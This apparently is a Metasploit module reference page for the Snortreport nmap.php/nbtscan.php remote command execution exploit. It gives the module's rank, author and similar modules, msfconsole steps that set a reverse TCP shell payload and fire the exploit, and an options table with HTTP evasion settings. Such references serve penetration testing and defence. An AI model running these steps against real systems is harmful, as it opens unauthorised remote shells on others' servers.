Snortreport nmap.php/nbtscan.php Remote Command Execution
This module exploits an arbitrary command execution vulnerability in nmap.php and nbtscan.php scripts.
Exploit Rank
- Excellent
Exploit Authors
- Paul Rascagneres < >
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/multi/http/activecollab_chat
- exploit/multi/http/apprain_upload_exec
- exploit/multi/http/axis2_deployer
- exploit/multi/http/familycms_less_exec
- exploit/multi/http/freenas_exec_raw
- exploit/multi/http/gitorious_graph
- exploit/multi/http/glassfish_deployer
- exploit/multi/http/horde_href_backdoor
- exploit/multi/http/jboss_bshdeployer
- exploit/multi/http/jboss_deploymentfilerepository
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/http/snortreport_exec
msf exploit(snortreport_exec) > show payloads
msf exploit(snortreport_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(snortreport_exec) > set LHOST [MY IP ADDRESS]
msf exploit(snortreport_exec) > set RHOST [TARGET IP]
msf exploit(snortreport_exec) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/http/snortreport_exec
msf exploit(snortreport_exec) > show payloads
msf exploit(snortreport_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(snortreport_exec) > set LHOST [MY IP ADDRESS]
msf exploit(snortreport_exec) > set RHOST [TARGET IP]
msf exploit(snortreport_exec) > exploit
Exploit Module Options
| Proxies | Use a proxy chain |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| URI | The full URI path to nmap.php or nbtscan.php (default: /snortreport-1.3.2/nmap.php) |
| VHOST | HTTP server virtual host |
| BasicAuthPass | The HTTP password to specify for basic authentication |
| BasicAuthUser | The HTTP username to specify for basic authentication |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentification |
| DigestAuthIIS | Conform to IIS, should work for most servers. Only set to false for non-IIS servers |
| DigestAuthPassword | The HTTP password to specify for digest authentication |
| DigestAuthUser | The HTTP username to specify for digest authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FingerprintCheck | Conduct a pre-exploit fingerprint verification |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| UserAgent | The User-Agent header to use for all requests |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::method_random_case | Use random casing for the HTTP method |
| HTTP::method_random_invalid | Use a random invalid, HTTP method for request |
| HTTP::method_random_valid | Use a random, but valid, HTTP method for request |
| HTTP::pad_fake_headers | Insert random, fake headers into the HTTP request |
| HTTP::pad_fake_headers_count | How many fake headers to insert into the HTTP request |
| HTTP::pad_get_params | Insert random, fake query string variables into the request |
| HTTP::pad_get_params_count | How many fake query string variables to insert into the request |
| HTTP::pad_method_uri_count | How many whitespace characters to use between the method and uri |
| HTTP::pad_method_uri_type | What type of whitespace to use between the method and uri (accepted: space, tab, apache) |
| HTTP::pad_post_params | Insert random, fake post variables into the request |
| HTTP::pad_post_params_count | How many fake post variables to insert into the request |
| HTTP::pad_uri_version_count | How many whitespace characters to use between the uri and version |
| HTTP::pad_uri_version_type | What type of whitespace to use between the uri and version (accepted: space, tab, apache) |
| HTTP::uri_dir_fake_relative | Insert fake relative directories into the uri |
| HTTP::uri_dir_self_reference | Insert self-referential directories into the uri |
| HTTP::uri_encode_mode | Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random) |
| HTTP::uri_fake_end | Add a fake end of URI (eg: /%20HTTP/1.0/../../) |
| HTTP::uri_fake_params_start | Add a fake start of params to the URI (eg: /%3fa=b/../) |
| HTTP::uri_full_url | Use the full URL for all HTTP requests |
| HTTP::uri_use_backslashes | Use back slashes instead of forward slashes in the uri |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |